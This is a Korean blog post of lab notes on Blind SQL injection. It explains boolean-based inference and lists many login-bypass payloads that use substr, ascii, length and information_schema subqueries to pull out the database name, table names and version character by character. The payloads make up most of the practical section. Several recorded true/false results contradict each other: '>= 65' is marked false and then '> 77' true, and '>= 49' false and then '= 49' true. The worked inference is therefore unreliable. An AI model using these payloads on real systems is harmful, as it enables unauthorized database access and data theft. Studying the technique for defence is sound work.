kjh00n의 기록저장소

Blind SQL Injection 본문

어플리케이션 보안 운영

Blind SQL Injection

kjh00n 2025. 1. 9. 15:45

Blind SQL Injection

● 웹 서버의 보안 설정으로 기존의 SQL Injection을 통한 정보 획득이 불가능한 경우 시도할 수 있는 공격

● 에러 메시지를 통해 직접적으로 정보를 획득하지 않음

● 눈에 보이지 않기 때문에(결과값이 응답 페이지에 없음) 일일이 하나씩 유추해서 원하는 결과를 얻어야함

● 공격자가 유추한 데이터를 SQL Query에 대입하여 결과를 참/거짓으로 구분하여 데이터를 획득

 

특징

● 참/거짓을 구분할 수 있는 서버의 응답이 필요함

● Brute Forcing

  • 한 문자씩 대입 공격을 수행함 → substring(문자, 시작위치, 크기)
  • 공격의 시간이 오래 소요 됨

● 많은 양의 Log를 발생시키므로 공격횟수를 최소화 해야함

 


Blind SQL Injection 실습

substr(원본데이터,시작위치,크기) = 특정 함수에서 값을 잘라주는 함수

 

substr 함수 사용
substr의 값이 r이고 조건이 참이기 때문에 모든 정보를 출력

원본데이터의 첫 글자가 'r'이라는 것을 획득

원본데이터의 2번째 값은 'o'라는 것을 획득
DB의 첫 글자가 대문자 'W'라는 것을 획득

[대소문자 구분X]

Hacker가 아는 정보

SELECT ??? FROM ??? WHERE id컬럼='입력값' AND pw컬럼='입력값';

SELECT ??? FROM ??? WHERE id컬럼='' or ' # AND pw컬럼='입력값'; → ' or 값을 id컬럼에 입력

' or substr(database(),1,1)='a' # 이라는 입력은 'DB의 이름이 첫글자가 a이다' 라는 의미이다

ID에 공격코드를 넣고 PW에 아무값이나 입력하고 로그인하면 성공

[공격코드] → ' or substr(database(),1,1)='W' #

공격코드에 database의 이름의 첫 글자가 'W'이기에 성공

(소문자 'w'도 성공) → php에서는 대소문자 구분을 안하기 때문에 성공

로그인 성공~

[대소문자를 ASCII코드로 판별]

a와 A를 아스키값으로 출력
아스키 코드를 사용해서 DB의 첫 글자의 값을 아스키값으로 출력 (87)

87은 대문자 'W' / 119는 소문자 'w'

아스키코드가 사용되기에 범위로 파악할 수 있다

※이전 방법처럼 일일이 값을 대조할 필요가 없다.

[공격코드]

[DB 첫번째 글자 찾기]

[공격코드]
' or ascii(substr(database(),1,1)) >= 97 # → 거짓
' or ascii(substr(database(),1,1)) >= 65 # → 거짓
' or ascii(substr(database(),1,1)) > 77 # → 참
' or ascii(substr(database(),1,1)) > 84 # → 참
' or ascii(substr(database(),1,1)) > 87 # → 거짓
' or ascii(substr(database(),1,1)) > 85 # → 거짓
' or ascii(substr(database(),1,1)) > 86 # → 거짓
' or ascii(substr(database(),1,1)) > 87 # → 참

ID에 공격코드를 입력하고 PW에 아무런 값이나 입력

 

[DB 두번째 글자 찾기]

[공격코드]
' or ascii(substr(database(),2,1)) >= 87 # → 참
' or ascii(substr(database(),2,1)) > 99 # → 참
' or ascii(substr(database(),2,1)) > 100 # → 참
' or ascii(substr(database(),2,1)) > 102 # → 거짓
' or ascii(substr(database(),2,1)) > 101 # → 참
' or ascii(substr(database(),8,1)) >= 97 #
' or ascii(substr(database(),8,1)) >= 65 # 
' or ascii(substr(database(),8,1)) >= 49 # 
위 코드도 아니면 값이 없다고 판단해라

' or ascii(substr(database(),8,1)) = 0 # 
는 글자가 NULL값이라는 거다
97은 a
65는 A
49는 1
33~47은 특수문자

 

ID에 ' or ascii(substr(database(),2,1)) >= 87 #입력하고 PW는 아무거나 입력
성공

[Table 이름 찾기]

[SQL문]
SELECT table_name from information_schema.tables WHERE table_schema='WebTest';

 

[공격기법]
WebTest DB의 첫번째 Table의 글자 찾기 (board 테이블)
' or ascii(substr((select table_name from information_schema.tables where table_schema='WebTest' limit 0,1),1,1)) >= 97 #
WebTest DB의 두번째 Table의 글자 찾기 (member 테이블)
' or ascii(substr((select table_name from information_schema.tables where table_schema='WebTest' limit 1,1),1,1)) >= 97 #

 

[번외]

[DB글자 길이로 판단]

[공격기법]
' or length(database()) = '7' #

ID에 공격코드 입력 / PW에 아무거나 입력
성공

[DB 버전 찾기]

DB 버전

[첫번째 글자 찾기]

[공격기법]
' or ascii(substr(version(),1,1)) >= 97 # → 거짓
' or ascii(substr(version(),1,1)) >= 65 # → 거짓
' or ascii(substr(version(),1,1)) >= 49 # → 거짓
' or ascii(substr(version(),1,1)) > 54 # → 거짓
' or ascii(substr(version(),1,1)) > 51 # → 거짓
' or ascii(substr(version(),1,1)) > 49 # → 거짓
' or ascii(substr(version(),1,1)) = 49 # → 참

 

[세번째 글자 찾기]

[공격기법]
' or ascii(substr(version(),3,1)) >= 49 # → 거짓
' or ascii(substr(version(),3,1)) >= 97 # → 거짓
' or ascii(substr(version(),3,1)) >= 65 # → 거짓
' or ascii(substr(version(),3,1)) = 0 # → 거짓
' or ascii(substr(version(),3,1)) = 46 # → 참

'어플리케이션 보안 운영' 카테고리의 다른 글

Non Blind SQL Injection 공격 기법 및 데이터베이스 정보 추출  (0) 2025.01.09
SQL Injection  (1) 2025.01.08
CSRF  (0) 2025.01.07
XSS 보안 및 우회  (0) 2025.01.07
XSS  (0) 2025.01.06